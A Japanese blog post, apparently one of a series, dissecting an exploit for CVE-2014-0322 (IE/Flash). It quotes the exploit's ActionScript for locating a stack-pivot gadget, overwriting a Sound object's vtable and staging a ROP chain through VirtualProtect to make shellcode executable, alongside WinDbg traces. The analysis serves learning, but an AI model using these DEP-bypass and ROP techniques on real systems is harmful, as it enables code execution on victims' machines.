これまでの記事で、CVE-2014-0322 の脆弱性、それを利用してメモリの制御が可能になり、ASLR を回避して flash.ocx のベースアドレスと VirtualProtect API のアドレスを入手しました。残っている ActionScript のコードは、getSP とbuildPayload の 2 つだけです。

3. eip/esp の乗っ取りと ROP chain

既に何度も言及していますが、getSP は、flash.ocx のコード領域 (.text セクション) から、0xC394 という WORD のある場所を見つけます。これの意味を理解するためには、そもそも実現しようとしている ROP の全体像を掴む必要があります。その全体像を示したものが、スライドにも含めているこの図です。

0xC394 というのは、アセンブリ言語に換算すると xchg eax,esp; ret という 2 つの命令です。ROP の中でこれを実行したいのです。DEP があるので、実行可能なページ上の 0xC394 を見つける必要があり、既にイメージベースを知っている flash.ocx の実行可能な領域である .text セクションから適当に探し出してくるのが getSP という関数です。ActionScript によると、この C394 のことを Stack Pivot と呼んでいるようです。デバッグしている環境の flash.ocx は v14.0 で、exploit を実行すると RVA=0x3c8cc のところの c394 が使われます。この箇所には、どこからともなくいきなり制御が飛んできて ret ですぐにまたどこかへ行ってしまうので、読み位置が違っていたり、その前後のデータがどうなっていようと影響はありません。

flash.ocx のコード領域に c394 が含まれているのは全くの偶然であって、ひょっとすると別バージョンの flash.ocx には c394 という連続した 2 バイトが全く含まれていない可能性もあります。その場合は、ActionScript 側で他のイメージの実行可能な領域に c394 があるかどうかを探す必要があります。といってもたったの 2 バイトなので、その可能性は著しく低いはずです。

0:028> u 700fc8cc 
Flash+0x3c8cc: 
700fc8cc 94              xchg    eax,esp 
700fc8cd c3              ret 
700fc8ce 0f7099c30f709ec3 pshufw  mm3,mmword ptr [ecx-618FF03Dh],0C3h 
700fc8d6 0f70cccc        pshufw  mm1,mm4,0CCh 
700fc8da cc              int     3 
700fc8db cc              int     3

では getSP のコードを見ていきます。まず、timerHandler から呼ばれるときに第三引数としてvtableobj-k が渡されます。これは前回の getFlashBaseAddr 関数のところで触れたように、引き算の結果が flash.ocx のベースアドレスそのものになります。一方の第一引数は、そのベースアドレスにアクセスするための this.s[index] のインデックスです。

/* Find .text */ 
peindex = this.s[index][baseflashaddr_off+0x3C/4]; 
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;

上記 2 行のうち、peindex の方は、getK32Index を呼ぶ直前と同様で、ntdll!_IMAGE_DOS_HEADER::e_lfanew、すなわち flash.ocx の PE ヘッダーへのオフセットです。次に、PE ヘッダーから +4 = 1*sizeof(uint) のところにある uint を 16 ビット右シフトしています。つまり、PE ヘッダーから +6 のところにある WORD 値を取ってくるのと同じなので、sn にはntdll!_IMAGE_FILE_HEADER:: NumberOfSections が入ります。

0:028> dt ntdll!_IMAGE_NT_HEADERS FileHeader.NumberOfSections 
   +0x004 FileHeader                  : 
      +0x002 NumberOfSections            : Uint2B

次の条件式はこうなっています。

this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E 
  && this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74

PE ヘッダーからオフセット f8 のところを参照しています。ちょうどsizeof(ntdll!_IMAGE_NT_HEADERS) が 0xf8 なので、参照しているのは _IMAGE_OPTIONAL_HEADER の直後です。http://msdn.microsoft.com/en-us/magazine/ms809762.aspx によると、そこにはIMAGE_SECTION_HEADER の配列があると書かれています。配列の定義は SDK の winnt.h から引用すると以下の通りです。

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER { 
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME]; 
    union { 
            DWORD   PhysicalAddress; 
            DWORD   VirtualSize; 
    } Misc; 
    DWORD   VirtualAddress; 
    DWORD   SizeOfRawData; 
    DWORD   PointerToRawData; 
    DWORD   PointerToRelocations; 
    DWORD   PointerToLinenumbers; 
    WORD    NumberOfRelocations; 
    WORD    NumberOfLinenumbers; 
    DWORD   Characteristics; 
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

#define IMAGE_SIZEOF_SECTION_HEADER          40

比較に使われているのは IMAGE_SECTION_HEADER の先頭なので、どうやらセクションの名前のようです。そこで右辺を ascii 文字に変換すると・・”.text” という文字を探していることが分かります。.text セクションとは、コード領域のことです。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x7865742E)) 
.tex 
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x74)) 
t

_IMAGE_SECTION_HEADER のサイズを数えると 40=0x28 バイトになるので、sec という変数はセクションのインデックスになります。ここまでで flash.ocx のコード領域の情報が得られました。

virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3]; 
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];

次の 2 行では、_IMAGE_SECTION_HEADER ヘッダー内のオフセット 3sizeof(uint)、2sizeof(uint) の値を取っています。これはそれぞれ変数の名前の通り VirtualAddress と VirtualSizeになりそうです。

次のループでは、いよいよコード領域内の探索に移ります。開始アドレスと領域のサイズが分かっているので、その中で C394 があるかどうかをチェックするだけです。ただし、DWORD 境界にない C394 も探すため、4 通りの読み位置でそれぞれ if 文を実行しています。この関数は戻り値として配列のインデックスではなく、アドレスそのものを返します。

これで C394 が取得できました。C394 を実行すると、最初の命令で eax と esp の値が交換され、そのままリターンします。が、ret のときに何のアドレスに飛ぶのかがとても重要です。x86 での ret は、スタックを pop して eip に入れるという動作を行います。スタックとは、もちろん esp レジスターが指すアドレスです。そして esp の内容は直前の xchg によって変更されています。つまり ret を実行すると、xchg に飛んできたときに eax が指していたアドレスにあるアドレスにジャンプします。

x86 命令の仕様は Intel のマニュアルがとても親切です。

Intel® 64 and IA-32 Architectures Software Developer Manuals
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html

ここまでで面白いことをしている感じはありますが、未だ全体像は見えてきません。次のポイントは、ActionScript からどうやって ROP を始めるか、という点です。今回の例では、ActionScript の Sound.toString() メソッドを実行することで ROP が始まります。コードでいうと、timerHandler() 関数の最後にある this.sound.toString(); というのがそれです。なぜそんなことが起こるかといえば、buildPayload() 関数の中で、事前に Sound オブジェクトの vtable を改竄しているためです。

これまでに何度も vtable という単語を使ってきましたが、これは仮想関数の動作を実現するためにコンパイラーが生成するデータ構造の一種です。詳細は以下の wiki を参照して下さい。

Virtual method table - Wikipedia, the free encyclopedia
http://en.wikipedia.org/wiki/Virtual_method_table

では最後に残った関数 buildPayload() を見ます。前半部分が、コメントにもあるように Sound オブジェクトの vtable を書き換えている部分です。

/* Corrupt sound object vtable ptr */ 
while (1) { 
  if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234) { 
    soundobjref = this.s[index][j+0x0A]; 
    dec = soundobjref-cvaddr-1; 
    this.s[index][dec/4-2] = cvaddr+2*4+4*4; 
    break; 
  }

  j++; 
}

比較式の定数は、ともに見覚えがあります。0x00010c00 はベースアドレスを検索するときに最初に出てきました。0x1234 は、init_heap() で作った Sound オブジェクトの配列の長さです。0x00010c00 の意味が全く分からないのですが、0x00010c00 のある場所から 9*4=0x24 バイト目に配列の長さがある箇所を探しています。これをデバッガーで探します。といっても同時に 0x00010c00 と 0x00001234 は探せないので 1234 から。

0:028> s -d 1a000000 l1000000 0x00001234 
0:028> s -d 1e000000 l1000000 0x00001234 
0:028> s -d 22000000 l1000000 0x00001234 
253b3024  00001234 24c3f021 24c3f021 24c3f021  4...!..$!..$!..$ 
253b8024  00001234 24c3f021 24c3f021 24c3f021  4...!..$!..$!..$ 
253bd024  00001234 24c3f021 24c3f021 24c3f021  4...!..$!..$!..$ 
253c2024  00001234 24c3f021 24c3f021 24c3f021  4...!..$!..$!..$ 
253c7024  00001234 24c3f021 24c3f021 24c3f021  4...!..$!..$!..$ 
253cc024  00001234 24c3f021 24c3f021 24c3f021  4...!..$!..$!..$ 
253d1024  00001234 24c3f021 24c3f021 24c3f021  4...!..$!..$!..$ 
253d6024  00001234 24c3f021 24c3f021 24c3f021  4...!..$!..$!..$ 
...

たくさん見つかりました。そのすべての下位バイトが 24 なので全部当たりのようです。

0:028> dd 253b3000-20 
253b2fe0  00000000 00000000 00000000 00000000 
253b2ff0  00000000 00000000 00000000 00000000 
253b3000  00010c00 00004fe0 07c53000 07c47068 
253b3010  24c3f000 253b3018 00000010 00000000 
253b3020  70bb557c 00001234 24c3f021 24c3f021 
253b3030  24c3f021 24c3f021 24c3f021 24c3f021 
253b3040  24c3f021 24c3f021 24c3f021 24c3f021 
253b3050  24c3f021 24c3f021 24c3f021 24c3f021 
0:028> dd 253b8000-20 
253b7fe0  00000000 00000000 00000000 00000000 
253b7ff0  00000000 00000000 00000000 00000000 
253b8000  00010c00 00004fe0 07c53000 07c47068 
253b8010  253b3000 253b8018 00000010 00000000 
253b8020  70bb557c 00001234 24c3f021 24c3f021 
253b8030  24c3f021 24c3f021 24c3f021 24c3f021 
253b8040  24c3f021 24c3f021 24c3f021 24c3f021 
253b8050  24c3f021 24c3f021 24c3f021 24c3f021

ActionScript 上のオブジェクトが Windows 上でどうやって見えるか、という点については後で真面目に調べるとして、少なくとも 0x1234 という比較的特徴のある値が構造に含まれていることを根拠として、init_heap() で作成した Sound オブジェクトの配列である可能性が極めて高いと考えられます。さらに、どの構造においても 0x1234 の後に 24c3f021 という同じ値が繰り返し現れており、24c3f021 とは Sound オブジェクトそのものと考えるのが自然です。というわけで、soundobjref には Sound オブジェクトへのポインターとなる値 (上記例では 24c3f021) が入ります。+0x0A のところは B でも C でもよい、ということになります。

soundobjref = this.s[index][j+0x0A]; 
dec = soundobjref-cvaddr-1; 
this.s[index][dec/4-2] = cvaddr+2*4+4*4;

次の 2 つの文でいよいよ vtable を書き換えます。

this.s[index][dec/4-2]
⇔ this.s[index][( soundobjref-cvaddr-1)/4-2]
⇔ this.s[index][( soundobjref-0x1a001000-1)/4-2]
⇔ this.s[index][(soundobjref-1-0x1a001008)/4]

代入文の左辺は上記のように変形できるので、これは soundobjref-1 のアドレスに cvaddr+24+44 というアドレスを代入する文です。-1 って何だ、となりますが、上記例では Sound オブジェクトへのポインターとなる値が 24c3f021 となっていて、それを調整するためなのだろうとは推測できます。常に -1 しておけば問題ないのかどうか、どういう意味があるのか、については Flash の仕組みがまだ分からないので、深追いはせず保留です。

書き換えている部分は Sound オブジェクトの先頭のアドレスです。書き換わる前の状態を見てみると、確かに vtable です。下記の例だと24c3f020 のアドレスの 70b3438c となっている部分がcvaddr+24+44 = 1a001018 という値で置き換わります。

0:028> dd 24c3f020 
24c3f020  70b3438c 400000ff 07f38f38 07fef298 
24c3f030  00000000 00000000 07fb0430 00000000 
0:028> dd 70b3438c 
70b3438c  705ab130 70595440 701bfe10 705acca0 
70b3439c  705ae4e0 70932300 70931c20 70932110 
70b343ac  70932b20 70931ff0 70932750 709322b0 
70b343bc  70932bf0 709323b0 70932d10 70932040 
70b343cc  709327d0 70932630 70932d80 70931f80 
70b343dc  70932830 70931e60 70932f30 70931b90 
70b343ec  7095b000 709329d0 70932a30 70932a00 
70b343fc  70931af0 7015d3d0 709328d0 7015d3d0 
0:028> u 705ab130 
Flash!DllUnregisterServer+0x147790: 
705ab130 55              push    ebp 
705ab131 8bec            mov     ebp,esp 
705ab133 56              push    esi 
705ab134 8bf1            mov     esi,ecx 
705ab136 e845fcffff      call    Flash!DllUnregisterServer+0x1473e0 (705aad80) 
705ab13b f6450801        test    byte ptr [ebp+8],1 
705ab13f 8bc6            mov     eax,esi 
705ab141 7414            je      Flash!DllUnregisterServer+0x1477b7 (705ab157)

1a001018 というアドレスは、偽の vtable になる部分で、これを作っているのが次のループです。sp は Stack Pivot のコードがあるアドレスです。this.s[index] は 1a001008 から始まるので、そこから 0x200*size(uint) バイトは、Stack Pivot のアドレスで埋まります。当然、1a001018 として設定された Sound オブジェクトの vtable は、ほぼ全部 Stack Pivot のアドレスで埋まることになります。こうすることで、Sound.toString() に限らず、大抵のメソッドを呼んでも Stack Pivot のコードが呼ばれることになります。

/*  Stack pivot */ 
for (i=0; i < 0x200; i++) 
  this.s[index][i] = sp;

しかし、Stack Pivot として C394 が適切であると判断するためには、やはり Sound.toString() を実行したときにどのような命令が実行されるのかを知っている必要があります。なぜなら、Stack Pivot の効果は、eax レジスタのアドレスにあるアドレスにジャンプするというものだったので、ROP を成功させるためには、vtable 内のアドレスを call するときに eax に入っている値を制御できている必要があるからです。exploit を書く立場から考えると、Sound.toString() を選び、vtable のアドレスを呼ぶ近傍の命令からどのレジスターを制御できるかを考え、最後に Stack Pivot となる命令を選ぶ、という流れになるはずです。

ActionScript のコードを少し編集して、Stack Pivot の部分を C394 ではなく、int 3 を含む CCCC というコードを探索するようにして実行してみました。仮想テーブルからジャンプした後にブレークするので、ごにょごにょとデバッガー コマンドを叩いて情報を集めます。

0:005> r 
eax=1a001018 ebx=028eb8e0 ecx=241ff020 edx=07f3df20 esi=70185d60 edi=07fce810 
eip=6f8e1fc8 esp=028eb830 ebp=028eb838 iopl=0         nv up ei pl nz na po nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200200 
Flash+0x1fc8: 
6f8e1fc8 cc              int     3 
0:005> k 
ChildEBP RetAddr 
WARNING: Stack unwind information not available. Following frames may be wrong. 
028eb838 70185d70 Flash+0x1fc8 
028eb844 7019dd98 Flash!IAEModule_AEModule_PutKernel+0x2e3690 
028eb8a0 7019eb48 Flash!IAEModule_AEModule_PutKernel+0x2fb6b8 
028eb950 7019df11 Flash!IAEModule_AEModule_PutKernel+0x2fc468 
028eb974 7019e3d7 Flash!IAEModule_AEModule_PutKernel+0x2fb831 
028eb9cc 7019ec4c Flash!IAEModule_AEModule_PutKernel+0x2fbcf7 
028eb9e8 7019d833 Flash!IAEModule_AEModule_PutKernel+0x2fc56c 
028eba34 701c4882 Flash!IAEModule_AEModule_PutKernel+0x2fb153 
028eba58 70186a37 Flash!IAEModule_AEModule_PutKernel+0x3221a2 
028eba74 7019dd98 Flash!IAEModule_AEModule_PutKernel+0x2e4357 
028ebad0 7019df11 Flash!IAEModule_AEModule_PutKernel+0x2fb6b8 
028ebaf4 7019e3d7 Flash!IAEModule_AEModule_PutKernel+0x2fb831 
028ebb4c 7019ec4c Flash!IAEModule_AEModule_PutKernel+0x2fbcf7 
028ebb68 701b08f6 Flash!IAEModule_AEModule_PutKernel+0x2fc56c 
028ebb84 701b2df7 Flash!IAEModule_AEModule_PutKernel+0x30e216 
028ebc60 7019eb48 Flash!IAEModule_AEModule_PutKernel+0x310717 
028ebc64 08383d90 Flash!IAEModule_AEModule_PutKernel+0x2fc468 
028ebc68 00000000 0x8383d90 
0:005> dd esp 
028eb830  70158fc5 07faeec8 028eb844 70185d70 
028eb840  241ff021 028eb8a0 7019dd98 07faeec8 
028eb850  00000001 028eb8e0 07fce810 07faeec8 
028eb860  08340fa0 00000000 00000000 07fce810 
028eb870  07faeec8 08046600 028eb8e8 00000000 
028eb880  00000000 00000000 00000000 00000000 
028eb890  00000000 00000007 00000000 ad5aa7aa 
028eb8a0  028eb8c0 7019eb48 07faeec8 00000001 
0:005> ub 70158fc5 
Flash!IAEModule_AEModule_PutKernel+0x2b68d2: 
70158fb2 2407            and     al,7 
70158fb4 3c01            cmp     al,1 
70158fb6 7512            jne     Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca) 
70158fb8 83f904          cmp     ecx,4 
70158fbb 720d            jb      Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca) 
70158fbd 83e1f8          and     ecx,0FFFFFFF8h 
70158fc0 8b01            mov     eax,dword ptr [ecx] 
70158fc2 ff5078          call    dword ptr [eax+78h] 
0:005> dd ecx l8 
241ff020  1a001018 400000ff 0832ef38 08355d60 
241ff030  00000000 00000000 083a23b0 00000000 
0:005> dd 1a001018 
1a001018  768d5994 1a001c08 1a001000 00004000 
1a001028  00000040 1a002000 6f8e1fc8 6f8e1fc8 
1a001038  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8 
1a001048  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8 
1a001058  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8 
1a001068  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8 
1a001078  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8 
1a001088  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8 
0:005> ln 768d5994 
(768d5994)   kernel32!VirtualProtectStub   |  (768d59a5)   kernel32!VirtualProtectExStub 
Exact matches: 
    kernel32!VirtualProtectStub (<no parameter info>)

この呼び出し部分のコードが今回の ROP の一番のポイントです。シンボルがない部分なので、デバッガーの k コマンドはうまく動きません。しかし、このタイミングで esp レジスターは正しいスタック アドレスを指しているので、esp の先頭が Stack Pivot からの呼び出し元に戻るアドレス、Sound.toString() を ActionScript から実行したときに Win32 プロセスが実際に実行する関数を示しています。これに対して ub コマンドを実行すると、呼び出し元のアセンブリを見ることができます。

call 命令は indirect call で、オペランドは eax+78h が参照するアドレスになっています。つまり eax が vtable で、オフセット +78 のエントリを実行するのだとわかります。もう少し前を見ると、eax は ecx のアドレスから mov されており、ecx はその前で FFFFFFF8 と AND されています。前述のデバッグ結果と照合すると、ecx は Sound オブジェクトへのポインターと考えられます。配列の構造の中に含まれていた値は下位バイトが 1 で、ActionScript では -1 して利用していましたが、ここは FFFFFFF8 と AND する方が正しいことになります。おそらく、下位 3bit は何らかの状態を表すフラグとして使われているのでしょう。

ブレーク時点での eax の値を見ると、確かに1a001018 です。もちろんこれは exploit の buildPayload() がセットした vtable の値が反映された結果です。1a001018 から 200 個の Stack Pivot のアドレスを埋めましたが、実際には 1a001018+78 の 1 つだけをセットしておけば 十分だったと分かります。いずれにしろ、これで eip は乗っ取ることができました。

実際の exploit は、Stack Pivotとして C394 を選び、eax と esp を交換した後、ret が実行されます。call dword ptr [eax+78h] を実行して Stack Pivot のコードに制御が移ってからも、まだ eax レジスターはの値 1a001018 のままです。ここで eax と esp を交換することで、eip に引き続いて esp も乗っ取ることができるのです。実に巧妙です。

特に、toString() によって呼ばれる命令が call dword ptr [eax+78h] であるところがよく考えられています。実際に使われる vtable のエントリーのオフセットは +78 なので、eax と esp を交換した後、esp の先頭から 78 バイトは vtable ではなくスタック領域として自由に使えることになります。もし call するアドレスが [eax] や [eax+10] だったら、できることが限られてしまいます。

さて、buildPayload() のコードで残っているのは、レジスターを交換した後に偽のスタックとなる領域を作成する部分と、ペイロードを埋め込むコードです。

var sh:uint=0x300; 
(snip)

/* ROP */ 
this.s[index][0] = 0x41414141; 
this.s[index][1] = 0x41414141; 
this.s[index][2] = 0x41414141; 
this.s[index][3] = 0x41414141; 
this.s[index][4] = virtualprotectaddr; 
this.s[index][5] = cvaddr+0xC00+8; 
this.s[index][6] = cvaddr; 
this.s[index][7] = 0x4000; 
this.s[index][8] = 0x40; 
this.s[index][9] = 0x1a002000;

/* Shellcode */ 
for(var u:String in shellcodeObj) { 
  this.s[index][sh++] = Number(shellcodeObj[u]); 
}

vtable、及び、交換後の esp は 1a001018、すなわち this.s[index][4] から始まります。よって先頭の 4 つは適当な値で埋めておきます。そのあとが、乗っ取られたあとのスタックです。[4] にセットしているのは前回頑張って PE イメージを解析して取得した VirtualProtect API の開始アドレスです。このアドレスが、Stack Pivot の ret 命令の後に実行されます。その後に続くのは、VirtualProtect に渡るパラメーターになります。

VirtualProtect の定義を MSDN で確認すると簡単に分かりますが、ここで指定されているパラメーターは、開始アドレス cvaddr+0xC00+8 から 0x4000 バイトの範囲に対して 0x40 という属性を設定するという意味を持ちます。0x40 はPAGE_EXECUTE_READWRITE という R/W/E 全てが可能な属性で、DEP を完全に無効化できます。開始アドレスの cvaddr+0xC00+8 は this.s[index][0xC00/4] = this.s[index][0x300] の場所を示しており、最後の for 文で埋め込んでいるペイロードの開始アドレスです。[9] の 0x1a002000 は、第4 引数のlpflOldProtect で、元のページ属性が保存されます。exploit には必要のない値ですが、MSDN によると、この値が NULL だったり無効なアドレスだと API が失敗するので、書き込み可能な適当なアドレスとして 0x1a002000 を選んで入れています。

最後は駆け足になった気がしますが、以上が exploit の全ての仕込みです。最後に Sound.toString() を呼ぶと、仕掛けが全部動いて、vtable → Stack Pivot → VirtualProtect → ペイロード、という順に落とし穴にハマっていきます。全貌は、スライドの図を改めてご覧ください。

偶然ですが、トレンドマイクロのブログ記事も見つかりました。この脆弱性、及び exploit は巷では相当有名なようですね。

Analysis of The Recent Zero-Day Vulnerability in IE9/IE10 | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/analysis-of-the-recent-zero-day-vulnerability-in-ie9ie10/

4. 残る疑問/宿題など

現時点でまだ分からないことのまとめ。時間があるときに調べます。むしろ誰か知っている人教えて下さい。

  • ASLR と、イメージのロードされるアドレスの制限について
(2014-09-25 追記)

下記 MSDN の ASLR の項目によると、DLL に関してはやはり下流の方の、範囲 16MB のところに制限されているらしい。
Windows Administration: Inside the Windows Vista Kernel: Part 3
http://technet.microsoft.com/en-us/magazine/2007.04.vistakernel.aspx?pr=blog
ベースアドレスをばらつかせるメモリ マネージャー内のロジックはこれ・・・?もしやアセンブリ言語から C に変換したのだろうか。
Positive Research Center: Windows 8 ASLR Internals
http://blog.ptsecurity.com/2012/12/windows-8-aslr-internals.html

  • ActionScript のオブジェクトの構造について
  • 0x00010c00 の意味、その 32 バイト後にある vtable の謎
  • 配列の長さの後にある vtable は使えるのか
  • Sound オブジェクト関連の動作をどうやって事前に知るのか
  • Sound オブジェクト以外を使って ROP を開始してみる
  • JavaScript 側での細かい工夫をもう少し詳しく書いてみる
  • これまで使ってきたペイロードである meterpreter のデバッグ